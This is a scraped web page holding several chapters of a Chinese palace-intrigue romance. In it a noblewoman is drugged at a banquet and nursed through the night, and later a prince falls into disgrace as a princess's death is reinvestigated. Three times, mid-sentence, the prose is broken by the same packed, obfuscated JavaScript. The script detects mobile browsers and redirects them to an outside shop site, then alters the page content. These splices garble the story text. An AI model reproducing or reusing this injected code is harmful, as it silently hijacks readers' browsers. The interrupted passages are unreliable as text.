从水榭到二门,不过百步距离,对此刻的李妙仪而言却漫长得如同跋涉千里。她靠在青鸾身上,每一步都踩在绵软的云端,视野里廊下的灯笼晕开一团团昏黄模糊的光圈。 终于挨到二门,上了国公府的马车。 帘子落下的瞬间,隔绝了外界所有探究的视线,李妙仪一直挺直的脊背瞬间垮塌下去,整个人软倒在铺着软垫的车厢里,额角颈侧冷汗淋漓。 “少夫人!您到底怎么了?”青鸾急得声音变了调,慌忙掏出手帕为她擦拭,触手却是一片滚烫。 “快……回府!”李妙仪从齿缝间挤出几个字,“越快……越好!” 她能清晰地感觉到,一股不正常的燥热正从丹田深处窜起,迅速向四肢百骸蔓延,心跳莫名加速,眼前的一切都在旋转、晃动。 那酒果然有问题!所幸并未全饮下,只是不知这药性究竟有多烈,又能持续到几时。 马车在青鸾焦急的催促下,近乎疾驰地在街道上穿行。 车厢剧烈摇晃,李妙仪无力地靠着车壁,紧咬着下唇,直到尝到血腥味,试图用这尖锐的痛楚对抗体内那股越来越汹涌的热流。 不知过了多久,马车一个急停,冲回国公府侧门。李妙仪几乎是跌撞着下车,脚下一软,眼前发黑,险些栽倒,全靠青鸾和那婆子死死架住。 一路强撑着回到自己院落,她立刻屏退了所有下人,只留青鸾在门外守着。 内室终于只剩下她一人,李妙仪反手将门栓插上,背靠着门板滑坐在地。 仅存的屏障撤去,她挣扎着想爬到床边,却连站起身的力气都没有,只能狼狈地蜷缩在冰冷的青砖地上。 从骨头缝里透出来的热,烧得她五脏六腑都在翻搅。纤细的手指无意识地抓挠着自己的手臂、脖颈,留下一道道触目惊心的红痕。汗水早已浸湿了鬓发和里衣,湿漉漉地贴在身上。 “不……不能……”她猛地将额头抵在床沿上,试图唤醒濒临溃散的神智,却只是徒劳。 口中溢出断断续续的破碎字句,是谁的名字,还是无意义的哀求,她自己都已分辨不清。 意识模糊之际,“嘭”的一声,内室的门被人从外面猛地推开。 郑淮序高大的身影出现在门口,他显然是匆忙赶回,身上的绯色官服都未曾换下。当他看到蜷缩在在地、面色潮红的李妙仪时,瞳孔骤然紧缩,周身散发出骇人的凛冽。 “出去!”他头也未回,对身后的青鸾厉声喝道,“守住院子,任何人不得靠近!” 青鸾吓得魂飞魄散,连忙退出去,紧紧关上了房门。 郑淮序几步掠到李妙仪身前,俯身探看。甫一靠近,那股浓烈的酒气裹挟着异样的暖香便扑面而来,甜腻中透着靡艳。 他眼神骤沉,瞬间明了究竟,竟有人敢用这等下三滥的手段! 怒火如岩浆在胸腔奔涌,烧得他指尖发冷,但他此刻顾不得这些。 李妙仪如同沙漠旅人遇到了甘泉,滚烫的脸颊胡乱地贴上了他的官袍,双手执拗地攀附上来,最终紧紧环住他劲瘦的腰身。 “热……好难受……”她整个人贴上来,玲珑有致的曲线隔着轻薄春衫,清晰无比地印在他身上。 郑淮序揽住她腰肢的手臂不自觉地收紧,他垂下眼,看她愈发娇艳欲滴的唇瓣微微张合,仿佛在无声索求着什么。那夜黑暗中那柔软的触感,偏偏在这时浮上脑海。 喉结剧烈地滚动了一下。 他猛地阖眼,深吸一口气,再睁开时,眼底已恢复清明。他一把将缠在身上如同藤蔓的她打横抱起,大步走向屏风后的净室。 净室里那只半人高的宽大浴桶,平日总备着热水,此刻桶中只有小半桶冷水,郑淮序直接将人放进去。 “啊!”刺骨的凉意激得李妙仪短促惊叫。 “清醒一点。”他抄起旁边的木勺,舀起清水,一遍遍从她头顶浇下。 李妙仪被激得浑身颤抖,牙关打颤,神智被强行从混沌中拉回些许。委屈、后怕、难堪,种种情绪化为难以言喻的哽咽。 可是,冰凉的水流滑过身躯,却浇不灭骨髓深处焚烧的那把火。她难耐地在冷水中蜷缩起来,发出小猫似的呜咽,而后仰起头,透过湿漉漉的睫毛看向立在桶边的他。 烛光在他身后勾勒出朦胧轮廓,绯色官服沾了水渍愈发沉暗,可他整个人在她迷蒙的眼中,却像一团行走的、清冽的火焰。 想靠近。 这个念头一旦生出,便如藤蔓疯长。 “郑……淮序……”她哆哆嗦嗦地叫出他的名字,带着全然的依赖与脆弱。 他俯身下来,似乎要查看她的情形。那张清俊的脸刚凑近,李妙仪便像溺水之人抓住浮木,湿透的手从水中猛地抬起,攀上他的手臂。 “好凉……”她滚烫的脸颊贴上他湿了的衣袖,来回轻蹭,本能地索求更多。 郑淮序手臂一僵,要抽回。 她却不知哪来的力气,双手死死攥住他的小臂,将脸枕在他掌心,含混地哀求:“别走,你抱抱我好不好?” 郑淮序呼吸一窒,猛地弯腰将她从水中捞起,扯过一旁架子上厚实的羊绒大氅,将她湿透的身躯严严实实地裹住,抱回内室床上。 一接触到干燥温暖的锦被,冰火交织的折磨仿佛找到了出口。她难受地啜泣,挣动手臂,想从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213972|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大氅的束缚中挣脱。 “别动了,听话。”他低沉的声音在耳边响起,带着克制的沙哑。 下一刻,连人带被,她被拥入一个清冽的怀抱。 药力让她无法思考,双手又被裹在大氅里挣不出来,她便用脸、用额头、用唇瓣去触碰他能碰到的每一寸肌肤,他的下颌,他的耳廓,他脖颈侧面微微跳动的血管。 每碰到一处,她便觉得那焚身的火被压下去一分,却又激起更深的渴念。 他偏头避开她的唇,将她的脸按回肩窝。 她不满地呜咽,滚烫的唇便贴着他的官服领口,在锁骨的位置辗转流连。布料被她的呼吸濡湿,变得温热,她便恍惚觉得那下面是他的皮肤,是她此刻最渴望的清凉与安宁。 “难受……”她扭动着,一只手从大氅边缘滑出,滚烫的手指立刻钻进他的掌心,紧紧扣住,十指交缠。 意识浮浮沉沉,药力卷土重来时,泪水混合着未干的水渍,浸湿了郑淮序肩头的官服。 她不知道自己呢喃了多少遍他的名字,也不知道那些破碎的字句,像滚烫的砂砾,一粒一粒,磨进他心口最软的那块肉里。 他不断用毛巾擦拭她的额头和脖颈,低声在她耳边说着一些话,或是安抚,或是无意义的音节,只为分散她的注意力。 这一夜,格外漫长。窗外夜色浓稠如墨,室内烛火早已燃尽,只有清冷的月光静静流淌进来,勾勒出紧紧相拥的两个身影轮廓。 直到天光微亮,东方泛起鱼肚白。李妙仪体内的药效终于如潮水般彻底退去,她沉沉睡去,眉头却仍不安地蹙着,湿漉漉的睫毛覆在眼睑上。 郑淮序又静坐了片刻,确认她陷入深眠,才缓缓松开手臂,小心翼翼将她放平在枕上,替她掖好被角,又将她踢乱的床幔整理妥帖。 做完这一切,他才如释重负般在床边的脚踏上坐下。身上的官袍早已皱得不成样子,肩头一片深色水渍,不知是她的泪,还是他的汗。 他在朦胧的晨光中,看了她良久。 褪去潮红,她的脸庞显得格外苍白脆弱,可即便是在沉眠中,依旧有一种惊心动魄的美丽,像一株经历过风雨摧折、却依旧挺立的白玉兰。 如果她的身份真的如他猜想一般,那这一路走来该有多辛苦。 他伸出手,拂开她额前被汗水与泪水濡湿、凌乱粘在脸颊的几缕乌发:“好好睡吧,剩下的,交给我。” 那些胆敢用如此龌龊下作手段算计她、折辱她的人,他一个都不会放过。 周家,齐王……无论是谁伸的手,他都要将其连根斩断,剁得粉碎! 他整理了一下凌乱的衣袍,推开房门,迎着初升的朝阳走了出去。 门外,青鸾红肿着眼睛,怯怯地抬头看他。 “少夫人感染风寒,需要静养。”郑淮序吩咐着,“昨夜之事,若有一字泄露,你应该知道后果。” 青鸾磕头如捣蒜:“是!二公子!奴婢明白!” 郑淮序不再多言,抬步离开了院落,只余下空气中尚未散尽的寒意。 而内室之中,沉睡的李妙仪在梦中似乎感应到了什么,紧蹙的眉头微微舒展,向温暖的被衾深处缩了缩,仿佛寻到了一处安心的所在。 31. 筹谋 日上三竿,李妙仪眼睫轻颤,缓缓醒来。 锦被随着她撑身的动作滑落,一身干净柔软的寝衣妥帖地覆在身上。屋内已被收拾得整洁如初,昨夜那些狼狈痕迹消散无踪,唯有空气中一缕淡淡的药香,提醒着她那场混乱并非梦境。 “少夫人,您醒了?”青鸾端着温水推门进来,声音放得极轻,可还有哪里不适?二公子嘱咐了,若您觉得不好,要立刻请大夫来瞧瞧。” 李妙仪摇了摇头,喉间干涩发疼:“不必,昨夜二公子是何时离开的?” “天将亮时才走。”青鸾压低声音,边递水边道,“二公子吩咐说您染了风寒,需要静养。院外的人都被打发走了,只留奴婢在内伺候。” 温水润过喉间,灼痛稍缓,李妙仪倚回床头,闭目回想赏荷宴的种种。 周夫人过分殷勤的劝酒、周遭那些意味深长的目光、那杯甜得发腻的果酒…… 她缓缓睁开眼,眸中闪过一丝冷意。 显然,对方想让她在众目睽睽之下失态出丑,却又不敢直接毁她名节。毕竟她是国公府的少夫人,真闹出不可收拾的局面,周家也无法交代。 齐王倒是养了条会吠的狗。 她相信郑淮序的手段,周家既敢伸手,就要做好被斩断爪牙的准备。 念头转到郑淮序身上,昨夜朦胧中他守在床边的身影忽地清晰起来,那温热的掌心,那低沉的嗓音,那彻夜不散的药香。 李妙仪不自觉地拢了拢衣襟,心中某个决定越发清晰。 等这件事平息,找个合适的时机,她必须向郑淮序坦白一切。 休养这几日,郑淮序似乎格外忙碌,常是深夜方归。偶尔碰面也只是匆匆几句叮嘱她好生休养,身上总带着一股肃杀之气。 李妙仪知道他在料理周家的事,并不多问,只悄悄打听拢月的下落。 她最终将主意打到永嘉郡主身上,递帖拜访后,很快得了回音。 两日后,端亲王府花厅内,永嘉郡主拉着她的手嗔怪:“姐姐可算来了,我前几日还想着呢,周家那赏荷宴办得如何?” 李妙仪心中微动,面上却笑道:“甚好,周夫人招待周到。” “得了吧。”永嘉郡主撇撇嘴,“我听说那日你早早离席,第二日国公府便有人参了周家一个子弟。周夫人这两日闭门谢客,怕是脸上挂不住呢。” 李妙仪垂眸抿茶,不置可否。 永嘉郡主了然一笑,也不深究,只闲话起京中趣事。 聊了片刻,李妙仪才似不经意提起:“前些日子理旧物,见着一方帕子,绣工极好,像是宫里的手艺。听说是从前安阳公主身边的宫女所做,不知郡主可知道,那些服侍过公主的人如今都去了何处?” 永嘉郡主脸上的笑容淡了几分,她放下茶盏,轻声道:“姐姐问这个做什么?” “只是好奇。”李妙仪稳住心神,“那样精巧的绣工,若是流落在外可惜了。若人还在宫里,或许能请她再绣些花样。” 永嘉郡主盯着她看了好一会儿,才叹了口气:“姐姐别打听了,皇姐去后,她宫里服侍的人都被赐殉葬了。” “什么?”李妙仪指尖一颤,茶水险些溅出。 “这是陛下的旨意。”永嘉郡主的声音低了下去,几乎只剩气音,说是身边伺候的人护主不力,理当同罪。” 李妙仪只觉得浑身发冷。 殉葬是前朝陋习,本朝开国后便已废除。父皇向来以仁德自居,怎会下如此残忍的旨意?为何要牵连整个宫苑? “不过,”永嘉郡主迟疑了一下,“听说有一个人逃过一劫。” 李妙仪猛地抬头:“谁?” “皇姐的贴身侍女,叫拢月的。”永嘉郡主摇头,“旨意下达那日便不见了踪影,宫里找过一阵,后来便不了了之。但即便找到了,怕也没什么用。那日围猎她并未随行,就算知道什么,也未必是真相。” 李妙仪的心沉了下去,拢月果然还活着。 可人在何处?是她自己逃了,还是有人相助? 正心乱间,侍女来报:“郡主,三殿下到访。” 话音未落,一个身着月白锦袍的年轻男子已步入花厅。李妙仪随着永嘉郡主起身行礼,垂下眼帘,掩住眸中翻涌的情绪。 “三哥今日怎么有空来我这儿?”永嘉郡主笑着询问,“可是有事寻我?” 李承玦却摇摇头,目光越过她,落在李妙仪身上:“我今日是专程来寻郑少夫人的。” 花厅内顿时安静下来。 永嘉郡主看看李承玦,又看看李妙仪,眼中闪过一丝了然。她笑道:“既如此,你们聊,我去吩咐人备些茶点。”说罢,便带着侍女退了出去,将空间留给二人。 “少夫人不必紧张。”李承玦在椅上坐下,示意她也坐,“我只是想与少夫人说几句话。” 李妙仪依言坐下,只坐了半边椅子,姿态恭谨而疏离:“殿下请讲。” 李承玦静静看了她片刻,忽然道:“大慈悲寺那日,山道遇袭,少夫人可还记得?” 李妙仪心头一跳:“自然记得,多亏有贵人相助,我与二郎才能脱险。” “那贵人便是我。” 李妙仪攥紧了袖中的手,面上却做出惊讶状:“竟是殿下?臣妇惶恐,还未来得及向殿下道谢。” “不必谢我。”李承玦打断她,眸光深沉,“我出手相助,并非全无私心。” 他端起茶盏,轻轻吹散热气:“少夫人可知,如今盛京看似平静,实则暗流涌动?太子与我的纷争暂且不提,朝堂之上,世家之间,甚至皇家内部,都有人在搅动风云。” 李妙仪沉默不语。 李承玦继续道:“前有王宣之通敌卖国,后有郑将军战死北疆。这一桩桩一件件,看似毫无关联,实则背后都有一只手在推动。” “殿下何出此言?” “因为我查了许久。”李承玦放下茶盏,目光锐利,“我查到我皇妹的死并非意外,也查到,北戎此次南下,时机巧合得令人心惊。我更查到,京中有些势力,正试图将手伸向军权,比如郑家。” 李妙仪呼吸一窒。 “郑家世代忠良,从不涉党争,只效忠父皇一人。正因如此,我才更不能直接与郑淮序接触,以免引起父皇猜忌。”李承玦看着她,“但我需要郑家的助力,所以,只能从你入手。” 原来如此。 李妙仪心中苦笑,她从前便知道,她这位三皇兄心思深沉,最擅笼络人心。只是没想到,有朝一日,他会将这份心计用在她身上。 “殿下太看得起臣妇了。”李妙仪垂眸,“我不过是内宅妇人,如何能影响郑家的决定?” “你能。”李承玦的语气笃定,“郑淮序对你颇为维护,周家之事便是证明。而且你并非寻常妇人,王宣之案有你的功劳,又能在大慈悲寺遇袭时冷静应对,这样的女子,岂会甘于困守内宅?” 李妙仪抬起眼,与他对视:“殿下想让我做什么?” “很简单,将我今日所言转告郑淮序。”李承玦道,“告诉他,我愿与郑家合作,揪出暗害安阳公主、设计郑淮舟战死的幕后黑手。至于其他,待时机成熟,我自会与他详谈。” 李妙仪默然良久,终是点头:“臣妇会将殿下的话带到。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217331|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回府时已近傍晚。 李妙仪心神不宁地走进静心斋,呆坐半晌,才吩咐侍女:“去请二公子过来,就说我备了参汤。” 夜色渐浓,小厅内炭火暖融。 李妙仪等着等着,倚在软榻边困倦起来。半梦半醒间,忽闻脚步声近,睁眼便见郑淮序撩帘而入。 他肩头还沾着夜间的薄寒,目光落在她脸上,眉眼间的冷峻便柔和了几分:“这么晚还没歇息?” “在等你。”李妙仪起身盛汤,递到他手中。 郑淮序接过汤碗,在榻边坐下,氤氲热气模糊了他的眉眼,却掩不住眼底的疲惫。李妙仪屏退左右,将今日见到李承玦的经过细细说了一遍。 他静静听着,直到她说完,才放下已空的汤碗,道:“我知道了。” “你不意外?” “三殿下暗中调查安阳公主之死,我早有耳闻。”郑淮序抬眼看向她,“至于他想拉拢郑家,也在意料之中。” “那你打算如何?” “静观其变。”郑淮序的回答简短有力,却字字千钧,“郑家不涉党争,这是祖训。但若真有人设计害死大哥,无论是谁,我都要他付出代价。” 李妙仪忽然想起永嘉郡主的话,父皇下旨殉葬,为何独独漏了拢月?这与郑淮舟之死,可有牵连? “你的身子可好些了?”郑淮序忽然问,打断了她的思绪。 李妙仪一怔:“好多了。” “那便好。”他顿了顿,声音低了些,“夜间可还梦魇?” 她脸颊微热:“你怎么知……” 话未说完便止住了。 只见郑淮序望着她,那目光沉静而专注,仿佛早已洞悉她每一声不安的辗转,每一个惊醒的深夜。 李妙仪耳根发烫,别开眼低声道:“你每晚都来瞧我?” “嗯。”他答得坦然,没有半分遮掩,“不亲眼看看,不放心。” 心中某处软软塌陷下去,涌起一阵酸涩的暖意。 李妙仪垂眸,却见他的手伸了过来,轻轻握住了她的手腕。掌心温热,略带薄茧的指腹摩挲过她腕间细腻的皮肤。 “往后若再遇险事,不必硬撑。你可以倚仗我,倚仗郑家。” 他的目光如此专注,如此真切,李妙仪几乎要沉溺其中。 那藏在心底的秘密几乎要脱口而出,可想到皇室纷争的凶险,想到郑家已失去郑淮舟…… 话到唇边,又生生咽了回去。 现在还不是时候,至少等她查清更多真相,再做决定。 “我记下了。”她轻声应道,手腕从他掌心轻轻抽回。 郑淮序的手在空中停顿一瞬,缓缓收回。他看着她躲闪的眼神,眼底掠过一丝复杂情绪,终是未再多言。 “夜深了,歇息吧。”他起身,高大的身影在烛光下拉长,“周家的事已处理妥当,日后不会有人再敢用这等手段。” 李妙仪送他到门边。 夜风穿廊而过,带来凉意。郑淮序脚步微顿,回首看她,廊下灯笼的光晕柔和地笼罩着他挺拔的身影。 “记住,”他的声音融在夜色里,低沉却清晰,“无论你想做什么、要去哪里,郑家是你的退路,而我——” 他顿了顿,终是将最后几个字说得清晰: “我会一直在。” 言罢,他转身步入夜色。 李妙仪倚着门框,望着那身影渐行渐远,直至没入黑暗。风拂过她的衣袂发梢,明明带着凉意,心口却被他那句话熨得滚烫。 前路迷雾重重,而她唯一清晰的,是身后那盏永不熄灭的灯。 32. 异样 旬日之间,盛京风向陡转。 吏部周主事贪墨漕银、纵子行凶、勾结地方数罪并发的消息传开时,李妙仪正手持银剪,专注地修剪一盆兰草。 “少夫人,出大事了!”青鸾碎步急入,气息微促,额角沁出细密的汗珠,“周主事被御史台联名弹劾,今晨已下诏狱,抄家的队伍怕是都出宫门了!” 李妙仪握着剪刀的手微微一顿,刃口在叶片上猝然留下一道整齐的切口。 她垂下眼帘,凝视那处多余的剪痕片刻,方搁下银剪,取过几上软布,不疾不徐地拭了拭指缘。 青鸾偷觑她神色,又近前半步:“不止周家,那日在赏荷宴上给少夫人难堪的几位夫人,家中也接连出事……” “青鸾,”李妙仪忽然截住她的话头,“茶凉了,去换一盏来。要明前龙井,水勿滚,八分烫正好。” 青鸾一怔,旋即心头一凛,忙敛衽垂首:“是,奴婢这就去。” 她倒退两步,转身推门而出,动作轻捷,未敢发出一丝声响。 门扉轻声合拢。 李妙仪缓缓踱至窗前,推开半扇雕花长窗。 庭中草木蓊郁,榴花开得正烈,灼灼如血。几只雀儿在枝头啁啾跳跃,又扑棱棱飞起,落在院墙的黛瓦上,一派宁和景象,仿佛这盛京城中的惊涛骇浪,半分也侵袭不到这方寸天地。 可她心中清楚,这份宁静之下,是郑淮序搅动的惊涛骇浪。 不出半月,周家连根拔起,其余几家皆受重创。如此雷霆手段,既是在敲打那些依附齐王的势力,亦是在向所有人宣告:国公府,动不得。 可李妙仪心中并无快意,反生出一缕隐忧。 周家虽非顶级世族,能稳坐吏部主事之位多年,背后必有盘根错节的倚仗。更紧要的是,他是齐王的钱袋子,每年经他手流入齐王府的银钱不下万两。郑淮序此举,无异于公然与齐王撕破脸。 以李琮睚眦必报的性子,岂会善罢甘休? 此后数日,盛京如一锅将沸未沸的水,表面平静,底下暗流汹涌。 周家的案子审得极快,贪墨的账册、行贿的名录、与地方官员往来的密信……桩桩证据被抛掷而出,干脆利落,仿佛早备妥了一般。 朝野震动,人人自危。 然而齐王的反应,却出乎众人意料。 朝堂之上,当御史将周主事罪证一一呈列时,齐王竟缄默不语。他立在亲王班列中,四爪蟒袍加身,头戴紫金冠,面容平静得近乎漠然。乃至仁宣帝震怒、下旨严查周家九族时,他也只是微微垂首,神情晦暗难辨。 翌日早朝,更令人骇异的一幕上演。 仁宣帝刚坐上龙椅,齐王便出列,撩袍跪地。 “臣侄有罪!”他的声音响彻殿宇,竟带着哽咽,“臣侄识人不明,御下不严,竟容周世昌这等蠹虫混迹朝堂,祸害百姓,实愧对陛下隆恩,愧对天下黎民!” 文武百官屏息凝神,满殿鸦雀无声。 齐王声泪俱下,将额头重重磕在金砖上:“臣侄自请罚俸一年,闭门思过,以儆效尤!” 龙椅上的仁宣帝盯着殿中跪伏的身影,目光复杂:“周世昌确系你举荐入吏部的,如今他犯下如此重罪,你确有失察之责。” “臣侄知罪!”齐王再度叩首,额上已见红痕。 “既如此,”仁宣帝默然片刻,终是开口,“便依你所请,罚俸一年,闭门思过三月。望你于此期间,深刻反省,莫再令朕失望。” “谢陛下隆恩!”齐王伏地谢恩,眼底掠过一丝无人得见的阴鸷。 退朝的退朝钟鸣,百官鱼贯而出。郑淮序行在人群中,身侧是同僚压低的议论。 “齐王这招以退为进,着实高明……” “主动请罪,反倒显得坦荡。” “只可惜了周家……” 郑淮序面色如常,步履沉稳。直至出宫登车,阖眼靠上车壁,方透出一丝微不可察的疲惫。 李琮这一手,看似认输,实则不然。他弃了周家这颗棋子,却保全了大局。闭门思过?恐是以退为进,暗中筹谋。 齐王府的大门就此紧闭,然而流言却如野草疯长。 传闻王府内夜夜笙歌,盛京名班轮番入府,连唱七日七夜;又传齐王重金聘青楼花魁陪侍,一掷千金;更甚者,说他醉酒殴打下人,将一位劝谏的幕僚打得呕血。 传言真伪难辨,唯有一事确凿:齐王并无半分“思过”之态。 五月初十那夜,齐王府内丝竹之声通宵达旦,酒气氤氲出墙,连打更的老汉都摇头喟叹:“造孽哟,这哪是思过,分明是作乐!” 次日,更骇人的消息传来:齐王酒后与王府长史争执,竟失手将这位追随他十年的老臣殴至重伤。长史家眷哭告无门,此事不知怎的传入御史耳中。 御史大夫张岩是个刚直不阿的老臣,当即挥毫疾书,痛陈齐王“行为不端,德行有亏,有负圣恩”,恳请陛下严惩。 “荒唐!简直荒唐透顶!” 养心殿内,仁宣帝将奏折狠狠掼在地上,气得浑身发颤:“朕命他闭门思过,他便是这般思的?纵情声色,殴伤臣属,他眼里可还有王法,可还有朕这个皇帝!” 殿内宫人跪伏一地,噤若寒蝉。 仁宣帝□□,面色铁青:“传旨!齐王李琮,德行有亏,不堪教化,夺其亲王双俸,责令于府中严加管束,无诏不得出!若再敢生事,朕定严惩不贷!” 圣旨传至齐王府时,李琮正搂着歌姬饮酒听曲。他醉眼迷离地听完旨意,竟仰面大笑,接过圣旨随手一掷:“没了双俸?本王岂缺那点银子?禁足不出?正好,本王乐得逍遥!” 他举起酒杯,对着空荡荡的大殿高声喊道:“喝!都给本王喝!人生得意须尽欢!” 那癫狂形貌,连传旨太监都暗自摇头。 消息传开,朝野哗然。 谁也未料,齐王非但彻底舍弃周家,竟连自己的名声亦置之不顾,宛若破罐破摔,只求纵欲恣情。 然则,在这满城风雨之中,亦有敏锐之人觉察出异样。 “齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222603|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王如今行事如此疯癫失据,莫不是与当年安阳公主坠崖一事有关?” 茶楼雅间里,几个文人模样的男子低声交谈。 “此话怎讲?” “当年便有风闻,说安阳公主坠崖前,曾与齐王近卫争执。只是陛下当时悲痛,严查后又称证据不足,终以意外定案。如今齐王这般模样,会不会是做贼心虚,不堪重负?” 另一人压低声线:“我也听闻,那日狩猎,齐王与安阳公主皆在西苑。公主坠崖后,齐王近卫中有一人不久便暴病而亡,死得蹊跷。” “嘘,慎言!”第三人连忙制止,“此事岂可妄议?” 然流言已如石入静水,涟漪层层荡开。 自茶楼酒肆至深宅后院,从朝堂到市井,“齐王因害死安阳公主而内心煎熬、以至行止癫狂”之说,悄然蔓延。 这一日,郑淮序被急召入宫。 养心殿内熏着安神香,却掩不住一股药石之气。仁宣帝倚在龙椅上,不过数月,竟似苍老许多,眼角纹路深如刀刻,鬓边华发丛生。 “臣郑淮序,参见陛下。”郑淮序行礼如仪。 仁宣帝摆了摆手,示意他起身。侍从早已屏退,殿中唯余君臣二人。 “淮序啊,”皇帝声音沙哑疲惫,“近日京中流言,你可都听说了?” 郑淮序垂首:“臣略有耳闻。” “安阳那孩子,是朕和皇后的心头肉。”仁宣帝闭了闭眼,再睁开时,眼底有水光浮动,“她走得不明不白,朕这颗心始终像堵着巨石,夜难安寝。” 他顿了顿,目光锐利地投向郑淮序:“你当初,是第一个赶至崖底的。你如实告诉朕,安阳坠崖,当真只是意外么?” 殿中一时寂然,唯闻铜漏滴水,滴答,滴答,敲在人心上。 郑淮序抬起头,晨光自殿门斜入,照亮他半边脸庞,另一半隐在暗影中,神色莫辨。 他静默片刻,方缓缓开口:“陛下,臣当日所见,崖边确有异状。公主坐骑受惊之迹不似寻常,崖边灌木有利刃割断的枝条,地上亦留有非属公主或随行侍卫的足迹。” 他每说一句,仁宣帝面色便沉一分。 “只是臣手中证据不足,未敢妄断。”郑淮序声沉如水,“然臣始终深信,安阳公主骑术精湛,若非外力所迫,断不会轻易坠崖。” 仁宣帝五指收紧,指节泛白:“你是说有人害她?” “臣不敢断言。”郑淮序深深一揖,“然今流言四起,齐王殿下又行止反常,或许正是重启调查,还安阳公主一个真相之时。” 他未直指齐王,然此言此语,无疑是将那扇尘封已久的真相之门,重新推开了一道缝隙。 仁宣帝凝视他良久,终是疲惫地合上双眼,挥了挥手:“朕知道了。你退下罢。” “臣告退。” 郑淮序躬身退出养心殿,立于汉白玉高阶之上。他遥望宫墙外灰蒙蒙的天际,眼神冷澈而坚定。 安阳不能白死。 那些藏在暗处的鬼魅,必须付出代价。 33. 调查 仁宣帝亲令重启调查的旨意,如同在平静湖面投下巨石。 刑部、大理寺乃至皇帝亲辖的暗卫皆闻风而动。当年围猎的卷宗被重新调出,当日在场的守卫、随行的宫人、御马监的驯马师、甚至同在猎场的宗室子弟与文武官员,皆被一一传讯,严密盘问。 案子进展极其缓慢。多数人或推说记不清了,或一口咬定只是意外。毕竟涉及天家骨肉,谁又敢妄言? 然而,当仁宣帝显露出不容置疑的彻查决心,当郑淮序在暗中不断施压,当一些人的前程乃至性命被置于天平之上时,人心终于开始松动。 突破口,出现在一个叫陈昶的纨绔子弟身上。 陈家本是齐王母族远亲,借着这层关系在京中经营,日子颇为滋润。周家倒台后,陈家靠山少了一处,偏在此时又被查出私贩盐铁,这本是杀头重罪。 陈昶被抓进大理寺时,吓得魂飞魄散。审讯官员“不经意”地提点,若能供出些有价值的消息,或可戴罪立功。他几乎未加犹豫,便吐出了一切。 据陈昶供述,齐王对安阳公主的嫉恨,早已有之。 “殿下常说,安阳公主不过是仗着陛下与皇后宠爱,便目中无人,连亲王皇子也不放在眼里。”陈昶跪在地上,抖如筛糠,“他说一个女子,整日抛头露面,骑射诗文样样争先,成何体统?是将天下男子的颜面都踩在了脚下。” 审讯官员厉声追问:“齐王可曾流露过加害公主之意?” 陈昶瑟缩了一下,眼神躲闪。 “说!”惊堂木重重一拍。 “我说!我说!”陈昶闭上眼,似豁了出去,“围猎那日清晨,殿下心情极糟。小的前去请安时,隐约听见他在书房对近卫统领说,‘今日猎场,须给她些教训’。当时……当时小的只以为是气话,未敢深想。” 几位审讯官员交换了一个眼神。 “还有呢?” “后来……公主坠崖的消息传来时,”陈昶抬起头,眼中满是恐惧,“小的就在殿下身旁。殿下当时正在饮茶,闻报时手一抖,茶盏跌落摔得粉碎。可他脸上闪过的,并非震惊悲痛,而是一丝快意。虽然只有一瞬,但小的看得真真切切!” “事后,殿下严令我等封口,不得议论当日任何细节,违者重惩。那几个可能看见什么的侍卫,不久后皆被调走,或‘暴病身亡’了。” 供词被连夜整理,呈送御前。 与此同时,其他线索也逐渐浮出水面:当日一名齐王近卫在公主坠崖后不久“暴病身亡”,但其家人却称此人素来体健;公主坐骑在出事前,曾被喂食过会令马匹亢奋的草药;崖边发现的利刃割痕,与齐王府侍卫佩刀的制式吻合。 一桩桩,一件件,虽仍缺乏齐王亲手推人下崖的铁证,但动机、言语、物证、人证,已交织成一张密不透风的网。 养心殿的烛火,又亮了一夜。 仁宣帝独坐殿中,面前摊着厚厚的卷宗。他一遍遍翻阅那些供词与证物图样,仿佛要将每一字都刻入心底。 窗外传来三更的梆子声。 大太监王德全悄悄入内,换了热茶,低声劝道:“陛下,龙体要紧,该歇息了。” 仁宣帝摆了摆手,未发一言。 他并非从未察觉李琮对安阳的敌意,可他总以为,皆是自家骨肉,总不至走到骨肉相残的地步。他甚至曾刻意打压安阳的锋芒,只愿她能平安喜乐,终此一生。 天将破晓时,仁宣帝缓缓睁眼。一夜之间,他仿佛又苍老了十岁,眼中唯余一片决绝。 “拟旨。” 圣旨颁下那日,盛京飘起了初夏的细雨。 雨丝绵密,将整座皇城笼罩在氤氲水汽之中。宣旨太监踩着湿滑的宫道,疾步至齐王府。 良久,门才开了一条缝隙,门房醉醺醺探出头来:“谁啊?殿下今日不见客!” “圣旨到!”太监高声喝道。 门房一个激灵,酒醒了大半,连滚爬去通报。 